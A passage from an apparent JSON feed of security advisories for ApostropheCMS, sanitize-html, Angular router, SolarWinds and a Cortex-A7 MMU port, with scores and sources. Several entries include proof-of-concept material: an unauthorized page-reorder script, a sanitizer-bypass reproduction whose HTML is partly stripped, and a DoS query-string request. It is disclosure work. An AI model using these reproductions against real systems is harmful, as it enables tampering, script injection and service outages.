(npm)","@apostrophecms/form","@apostrophecms/login-recaptcha","@apostrophecms/login-hcaptcha","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-44qr-rrjg-2cqq","asOf":"2026-10-20T18:05:36.000Z"},"epss":{"probability":0.00366,"percentile":0.3014,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113667&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-44qr-rrjg-2cqq","url":"https://github.com/advisories/GHSA-44qr-rrjg-2cqq","type":"primary","publishedAt":"2026-10-20T18:05:35.000Z","checkedAt":"2026-10-26T14:40:55.975Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-44qr-rrjg-2cqq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-44qr-rrjg-2cqq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-44qr-rrjg-2cqq, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113667&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113667, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113655","cveId":"CVE-2026-113655","aliases":["GHSA-2jrp-qc93-h2j8"],"kind":"vulnerability","title":"ApostropheCMS: Same-parent page reorder in @apostrophecms/page move() re-ranks a restricted parent's children without create authorization","summary":"ApostropheCMS enforces per-type authorization on pages: a page type may declare `editRole` / `publishRole` (the core `@apostrophecms/archive-page` does), so a project can define restricted subtrees that only higher-privileged roles may create or edit within. The `move()` operation in the `@apostrophecms/page` module is supposed to enforce that a page may only be moved into a parent the actor has `create` rights over, the same boundary the page-insert route enforces. The destination-parent authorization check in `move()` is gated on the move being a cross-parent move (`oldParent._id !== parent._id`). A same-parent reorder (repositioning a page among its existing siblings under the same parent) short-circuits that check entirely, so an authenticated low-privileged editor who holds edit rights on one ordinary page nested under a restricted parent can reposition it and, in doing so, trigger an unguarded bulk database write that re-ranks the restricted parent's other children, documents the editor has no authorization to modify.\n\nThe security invariant is that mutating the sibling ordering of a restricted parent's children requires `create` authority on that parent, which is exactly what the page-insert path enforces (`insert()` throws `forbidden` when `!parent._create` before it nudges peers). The destination authorization guard in `move()` restores this boundary only for cross-parent moves: its leading conjunct is `(oldParent._id !== parent._id)`. For a same-parent reorder both `oldParent` and `parent` are the identical restricted parent, so the conjunct is `false`, the whole conditional short-circuits, and the `parent._create` requirement is never evaluated. The only surviving gate on the path is `moved._edit`, which the editor legitimately holds for the ordinary page being moved. The subsequent sibling re-rank is issued as a raw MongoDB `updateMany` that never passes through the per-document `beforeUpdate` edit check, so the restricted siblings are modified with no authorization at all.","detail":"## Summary\n\nApostropheCMS enforces per-type authorization on pages: a page type may declare `editRole` / `publishRole` (the core `@apostrophecms/archive-page` does), so a project can define restricted subtrees that only higher-privileged roles may create or edit within. The `move()` operation in the `@apostrophecms/page` module is supposed to enforce that a page may only be moved into a parent the actor has `create` rights over, the same boundary the page-insert route enforces. The destination-parent authorization check in `move()` is gated on the move being a cross-parent move (`oldParent._id !== parent._id`). A same-parent reorder (repositioning a page among its existing siblings under the same parent) short-circuits that check entirely, so an authenticated low-privileged editor who holds edit rights on one ordinary page nested under a restricted parent can reposition it and, in doing so, trigger an unguarded bulk database write that re-ranks the restricted parent's other children, documents the editor has no authorization to modify.\n\n## Root Cause\n\nThe security invariant is that mutating the sibling ordering of a restricted parent's children requires `create` authority on that parent, which is exactly what the page-insert path enforces (`insert()` throws `forbidden` when `!parent._create` before it nudges peers). The destination authorization guard in `move()` restores this boundary only for cross-parent moves: its leading conjunct is `(oldParent._id !== parent._id)`. For a same-parent reorder both `oldParent` and `parent` are the identical restricted parent, so the conjunct is `false`, the whole conditional short-circuits, and the `parent._create` requirement is never evaluated. The only surviving gate on the path is `moved._edit`, which the editor legitimately holds for the ordinary page being moved. The subsequent sibling re-rank is issued as a raw MongoDB `updateMany` that never passes through the per-document `beforeUpdate` edit check, so the restricted siblings are modified with no authorization at all.\n\n```text\nAffected function: @apostrophecms/page move() (inner body)\n packages/apostrophe/modules/@apostrophecms/page/index.js:1684-1691\n if (\n (oldParent._id !== parent._id) && // false for a same-parent reorder -> whole check skipped\n (parent.type !== '@apostrophecms/archive-page') &&\n (!parent._create) &&\n !(oldParent.type === '@apostrophecms/archive-page' && parent._edit)\n ) {\n throw self.apos.error('forbidden');\n }\n\nUnguarded sink: nudgeNewPeers()\n packages/apostrophe/modules/@apostrophecms/page/index.js:1781-1803\n await self.apos.doc.db.updateMany(\n { path: matchDescendants(parent), level: parent.level + 1,\n aposLocale: { $in: [ draft, published ] }, rank: { $gte: rank } },\n { $inc: { rank: 1 } }); // no permission clause; bypasses beforeUpdate\n\nContrasting correct boundary: insert()\n packages/apostrophe/modules/@apostrophecms/page/index.js:1436-1439\n if (!parent._create) { throw self.apos.error('forbidden'); } // enforced for every position\n```\n\n## Impact\n\nThe attacker is an authenticated low-privileged user, an editor (or a contributor operating in draft mode), who holds edit rights on at least one ordinary page that is nested as a direct child of a restricted-type parent. No admin rights and no special tokens are required. Authorization in this CMS is resolved per page type, not per subtree: a page's editability is judged by its own type's `editRole`, so an ordinary `public-page` child can be editable by an editor even though its restricted `secret-page`-type parent (declaring `editRole: admin`) is not. Exploiting the gap, the editor can persistently alter the `rank` (sibling ordering, which drives navigation and menu order) of the restricted parent's other children, documents on which the editor holds no edit, create, publish, or delete authority. Repeating the reposition monotonically inflates those siblings' ranks. This is an integrity and authorization-boundary violation (CWE-862 / CWE-639) confined to sibling ordering; it does not disclose restricted field contents (confidentiality is unaffected) and it does not affect availability. The precondition (an editor-editable page already nested under a restricted parent) is a non-default tree state that an administrator establishes, or that arises from configuration drift when a page type gains a restricting `editRole` after editable children were already placed beneath it.\n\n## Proof of Concept\n\n`Dependencies: Node.js and a local MongoDB instance. The reproduction uses ApostropheCMS's own test harness to drive the real apos.page.move() code path with a non-admin editor request. No fresh end-to-end run was performed in the review environment (no MongoDB available); the chain was verified against source, and the sink behavior is independently corroborated by the CVE-2026-63669 advisory's own description and its cross-parent-only regression test.`\n\n1. Configure a restricted page type `secret-page` with `editRole: 'admin'` and `publishRole: 'admin'`, and an ordinary type `public-page` with no role restriction.\n2. As an admin, create a `secret-page` section under home, then create two `secret-page` children beneath it (the pre-existing restricted siblings), and place one editor-editable `public-page` as a further child of the secret section (the non-default nesting precondition).\n3. As a non-admin editor, confirm the editor lacks `_create`/`_edit` on the secret section, then reposition the editable `public-page` among its siblings under the same secret parent.\n\n```javascript\n// Same-parent reorder under a restricted parent, driven as a non-admin editor.\n// The move must be forbidden but is not; the restricted siblings are re-ranked.\nconst editorReq = apos.task.getReq({\n role: 'editor',\n user: { _id: 'editor-user', title: 'Editor', role: 'editor' }\n});\n\n// `mine` is an editor-editable public-page already nested under the admin-only `secret` section.\n// `secretChild` is a pre-existing admin-only sibling under the same `secret` pa\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.33.0","action":"GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:04:11.000Z","updatedAt":"2026-10-20T18:04:12.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-2jrp-qc93-h2j8","asOf":"2026-10-20T18:04:12.000Z"},"epss":{"probability":0.00323,"percentile":0.251,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-2jrp-qc93-h2j8","url":"https://github.com/advisories/GHSA-2jrp-qc93-h2j8","type":"primary","publishedAt":"2026-10-20T18:04:11.000Z","checkedAt":"2026-10-26T14:40:55.975Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-2jrp-qc93-h2j8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-2jrp-qc93-h2j8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-2jrp-qc93-h2j8, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113655, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113654","cveId":"CVE-2026-113654","aliases":["GHSA-x3q4-9hxx-gx8m"],"kind":"vulnerability","title":"ApostropheCMS sanitize-html: nonTextTags discard region ends early on an implied close, letting <noscript> content render","summary":"`sanitize-html` discards the *content* of every element in `nonTextTags`. It delimits that region\nusing htmlparser2's close events, and ignores the `isImplied` flag htmlparser2 passes it. Closing a\nstill-open **ancestor** from inside a ` ` makes htmlparser2 unwind its stack past the\n`noscript`; the synthetic implied close it emits on the way ends the discard region early, and\neverything after it is treated as ordinary body content.\n\nA browser with scripting enabled parses ` ` content as **raw text**, so the same markup\nrenders as inert text there. The sanitizer therefore emits elements the page itself would not have.","detail":"## Summary\n\n`sanitize-html` discards the *content* of every element in `nonTextTags`. It delimits that region\nusing htmlparser2's close events, and ignores the `isImplied` flag htmlparser2 passes it. Closing a\nstill-open **ancestor** from inside a ` ` makes htmlparser2 unwind its stack past the\n`noscript`; the synthetic implied close it emits on the way ends the discard region early, and\neverything after it is treated as ordinary body content.\n\nA browser with scripting enabled parses ` ` content as **raw text**, so the same markup\nrenders as inert text there. The sanitizer therefore emits elements the page itself would not have.\n\n## Reproduction\n\n```js\nconst sanitizeHtml = require(\"sanitize-html\");\n\nsanitizeHtml(' \n\n ', {\n allowedTags: [\"div\", \"img\"],\n allowedAttributes: { img: [\"src\"] },\n nonTextTags: [\"script\", \"style\", \"textarea\", \"option\", \"noscript\"],\n});\n// => ' \n\n '\n```\n\nChrome, given the same input, renders **no** ` ` — the whole payload is raw text inside the\nunclosed ` `. Verified with Playwright, `srcdoc` into an iframe so the scripting flag is on.\n\nA ` Hi\n\n ]]> Reset your password \n```\n\nhtmlparser2 runs a CDATA token to `]]>`; Chrome ends a bogus comment at the first `>`, so the\n` ` after it is real to the browser and invisible to the parser.\n\n## Where the behaviour is\n\n`index.js`:\n\n- `:154` — `nonTextTagsArray` (the default list, `['script','style','textarea','option','xmp']`).\n- `:638` — `onclosetag: function (name, isImplied)` — receives the flag.\n- `:644` — `skipTextDepth--` — decrements without consulting `isImplied`.\n\n## Suggested fix\n\nDo not end a discard region on an implied close. htmlparser2 already distinguishes them; the flag\nis passed and discarded. Something close to:\n\n```js\nonclosetag: function (name, isImplied) {\n if (skipText) {\n if (isImplied) return; // an implied close must not end the region\n skipTextDepth--;\n …\n```\n\nAffected package ranges reported by GitHub:\nsanitize-html: < 2.18.0","action":"GitHub lists first patched versions: sanitize-html: 2.18.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T18:03:22.000Z","updatedAt":"2026-10-20T18:03:24.000Z","regions":["Global"],"vendor":null,"product":"sanitize-html","stacks":["JavaScript packages (npm)","sanitize-html","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-x3q4-9hxx-gx8m","asOf":"2026-10-20T18:03:24.000Z"},"epss":{"probability":0.00349,"percentile":0.28202,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113654&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-x3q4-9hxx-gx8m","url":"https://github.com/advisories/GHSA-x3q4-9hxx-gx8m","type":"primary","publishedAt":"2026-10-20T18:03:22.000Z","checkedAt":"2026-10-26T14:40:55.975Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-x3q4-9hxx-gx8m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-x3q4-9hxx-gx8m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-x3q4-9hxx-gx8m, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113654&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113654, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111751","cveId":"CVE-2026-111751","aliases":["GHSA-57xq-rjx2-v5xh"],"kind":"vulnerability","title":"@angular/router: Denial of Service via RouterLink Query Parameter Retention in Server-Side Rendering (SSR)","summary":"A denial of service (DoS) vulnerability was identified in `@angular/router` when Server-Side Rendering (SSR) is enabled on Node.js (V8) and `RouterLink` directives are rendered with `queryParamsHandling: 'merge'` or `'preserve'`, configured either per link or globally via `defaultQueryParamsHandling`.\n\nStarting in v21.2.0 ([angular/angular#66181](https://github.com/angular/angular/pull/66181)), `RouterLink` internals were refactored to use signals, introducing a computed signal (`_urlTree`) that cached the returned `UrlTree` instance on the directive. Because each rendered link maintains an active `RouterLink` instance for the entire duration of the request lifecycle, the computed signal permanently pinned the `UrlTree` and its associated query parameter dictionary in the heap until the SSR response completed.","detail":"A denial of service (DoS) vulnerability was identified in `@angular/router` when Server-Side Rendering (SSR) is enabled on Node.js (V8) and `RouterLink` directives are rendered with `queryParamsHandling: 'merge'` or `'preserve'`, configured either per link or globally via `defaultQueryParamsHandling`.\n\nStarting in v21.2.0 ([angular/angular#66181](https://github.com/angular/angular/pull/66181)), `RouterLink` internals were refactored to use signals, introducing a computed signal (`_urlTree`) that cached the returned `UrlTree` instance on the directive. Because each rendered link maintains an active `RouterLink` instance for the entire duration of the request lifecycle, the computed signal permanently pinned the `UrlTree` and its associated query parameter dictionary in the heap until the SSR response completed.\n\nWhen query parameter handling is set to `'merge'` or `'preserve'`, each link copies the incoming request's query parameters into its own `UrlTree`. During SSR, memory consumption scales multiplicatively:\n\n$$\\text{Heap Retention} \\approx (\\text{Number of affected links}) \\times (\\text{Size of parsed query parameter map})$$\n\nBecause parsed JavaScript objects and property dictionaries require substantially more heap space than the raw query string—particularly when property names trigger dense array allocations under V8 property-storage heuristics—an attacker can supply oversized query strings to amplify heap consumption by orders of magnitude per in-flight request.\n\n### Impact\n\nSuccessful exploitation allows an unauthenticated remote attacker to exhaust the Node.js old-space heap with modest concurrent request volume, terminating the SSR worker with an unrecoverable JavaScript heap out of memory fatal crash.\n\n* **Numeric Names Not Required:** Numeric query parameter names trigger larger V8 property-storage allocations (~558 KB per parsed dictionary in tests vs. ~197 KB for non-numeric equivalents), lowering the concurrency threshold needed for a crash. However, non-numeric query parameters also produce significant heap amplification and can exhaust worker memory with proportionally higher concurrency.\n* **Client-side SPAs Unaffected:** Pure client-side Angular applications (Single Page Applications without SSR) are not vulnerable, as local browser memory consumption does not cross a security boundary.\n\n### Attack Preconditions & Vulnerable Configurations\n\nAn application is affected only if all of the following conditions are met:\n\n1. **SSR Enabled:** The application runs in a Server-Side Rendering environment powered by Node.js / V8.\n2. **Merged or Preserved Query Parameters:** `RouterLink` elements rendered during SSR use `queryParamsHandling: 'merge'` or `'preserve'`, either bound explicitly on links or configured application-wide via `withRouterConfig({ defaultQueryParamsHandling: 'merge' })`.\n3. **Upstream Proxy Forwards Long Request Lines:** Reverse proxies or load balancers (e.g., Nginx, AWS ALB, Cloudflare) forward long query strings to the Node.js application rather than rejecting them at the edge. (For example, Nginx's default 8 KB `large_client_header_buffers` limit rejects 16 KB request lines unless explicitly increased).\n4. **Overlapping Renders:** Because retained memory is freed once each request completes, multiple concurrent requests must be processed simultaneously in the same Node.js worker instance (such as pages awaiting asynchronous data fetching, route resolvers, or external API calls during SSR).\n\n### Exploit Payload Example\n\nAn attacker issues concurrent HTTP requests containing dense query parameters to an SSR page that renders multiple merged links:\n\n```http\nGET /products?0&17&34&51&68&85&...&48042 HTTP/1.1\nHost: example.com\n```\n\n### Patches\n\nThe issue is resolved by removing persistent `UrlTree` retention from `RouterLink` ([angular/angular#70953](https://github.com/angular/angular/pull/70953)). `RouterLink` now tracks route dependencies directly in `reactiveHref` and discards intermediate `UrlTree` instances immediately after computing the serialized href string. The `urlTree` getter and click handlers compute `UrlTree` instances on demand.\n\nAs a result, intermediate query parameter maps are short-lived allocations collected during young-generation GC scavenges rather than remaining pinned in the heap for the lifetime of the request, restoring the memory profile of Angular 21.1 and earlier.\n\nPatched versions:\n* `22.2.1`\n* `21.2.25`\n\nVersions prior to 21.2.0 (including Angular 20.x LTS and 21.1.x) do not retain `UrlTree` instances in `RouterLink` and are not vulnerable to this issue.\n\n### Workarounds & Mitigations\n\nIf you cannot immediately upgrade to a patched version, apply one or more of the following mitigations:\n\n1. **Avoid 'merge' and 'preserve' on Server-Rendered Links:**\n Remove `defaultQueryParamsHandling: 'merge'` (or `'preserve'`) from global configuration. Explicitly bind only the specific query parameters each link requires (e.g., `[queryParams]=\"{ filter: filter() }\"`). Even on patched versions, this practice prevents unnecessary request-derived parameter propagation into generated DOM markup.\n\n2. **Limit Query String Length at Reverse Proxy or Middleware:**\n Configure your edge proxy, web application firewall (WAF), or reverse proxy to reject requests with excessively long query strings (e.g., exceeding 2,048 bytes).\n\n Alternatively, reject oversized query strings in Node.js before Angular SSR handles the request:\n ```ts\n // server.ts (before Angular SSR handler)\n app.use((req, res, next) => {\n const queryIndex = req.url.indexOf('?');\n if (queryIndex !== -1 && req.url.length - queryIndex > 2048) {\n res.status(414).send('URI Too Long');\n return;\n }\n next();\n });\n ```\n\n3. **Increase Node.js Old Space:**\n Increasing `--max-old-space-size` (e.g., to 2048 MB or 4096 MB) increases the memory headroom and the concurrency threshold required to exhaust memory, though it does not fully eliminate vulnerability under sustained traffic.\n\nAffected package ranges reported by GitHub:\n@angular/router: >= 22.0.0, < 22.2.1\n@angular/router: >= 21.2.0, < 21.2.25","action":"GitHub lists first patched versions: @angular/router: 22.2.1; @angular/router: 21.2.25. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T17:52:32.000Z","updatedAt":"2026-10-20T17:52:33.000Z","regions":["Global"],"vendor":null,"product":"@angular/router, @angular/router","stacks":["JavaScript packages (npm)","@angular/router","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-57xq-rjx2-v5xh","asOf":"2026-10-20T17:52:33.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-57xq-rjx2-v5xh","url":"https://github.com/advisories/GHSA-57xq-rjx2-v5xh","type":"primary","publishedAt":"2026-10-20T17:52:32.000Z","checkedAt":"2026-10-26T14:15:55.780Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-57xq-rjx2-v5xh, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-57xq-rjx2-v5xh, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:15:55.780Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28328","cveId":"CVE-2026-28328","aliases":[],"kind":"vulnerability","title":"SolarWinds Observability Self-Hosted was found to be affected by a broken authorization schema that can allow low-privileged users to access and modify information beyond their...","summary":"SolarWinds Observability Self-Hosted was found to be affected by a broken authorization schema that can allow low-privileged users to access and modify information beyond their assigned permissions.","detail":"SolarWinds Observability Self-Hosted was found to be affected by a broken authorization schema that can allow low-privileged users to access and modify information beyond their assigned permissions.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T17:17:38.910Z","updatedAt":"2026-10-21T04:18:10.420Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SolarWinds"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28328","asOf":"2026-10-21T04:18:10.420Z"},"epss":{"probability":0.00496,"percentile":0.42276,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-28328&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28328","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28328","type":"primary","publishedAt":"2026-10-20T17:17:38.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28328&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-28328, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95109","cveId":"CVE-2026-95109","aliases":[],"kind":"vulnerability","title":"The Cortex-A7 MMU Modules port validates a caller-supplied buffer by translating **one address** — the first byte.","summary":"The Cortex-A7 MMU Modules port validates a caller-supplied buffer by translating **one address** — the first byte. The common Module Manager hands its range check the module instance, the start address and the complete byte size; the Cortex-A7 implementation discarded the instance and the size and asked the MMU a single question about the start.\n\n\n\nA memory-protected module therefore passed any range whose first byte was user-readable, however far the rest of it reached. Privileged dispatch code then read or wrote the whole range. Because every protected-module dispatcher that consumes a buffer or an extra-parameter array goes through this one macro, the defect is not in any individual service: it is in the primitive all of them rely on.","detail":"The Cortex-A7 MMU Modules port validates a caller-supplied buffer by translating **one address** — the first byte. The common Module Manager hands its range check the module instance, the start address and the complete byte size; the Cortex-A7 implementation discarded the instance and the size and asked the MMU a single question about the start.\n\n\n\nA memory-protected module therefore passed any range whose first byte was user-readable, however far the rest of it reached. Privileged dispatch code then read or wrote the whole range. Because every protected-module dispatcher that consumes a buffer or an extra-parameter array goes through this one macro, the defect is not in any individual service: it is in the primitive all of them rely on.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:18.533Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95109","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00147,"percentile":0.03912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95109&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95109","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95109","type":"primary","publishedAt":"2026-10-20T16:17:18.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 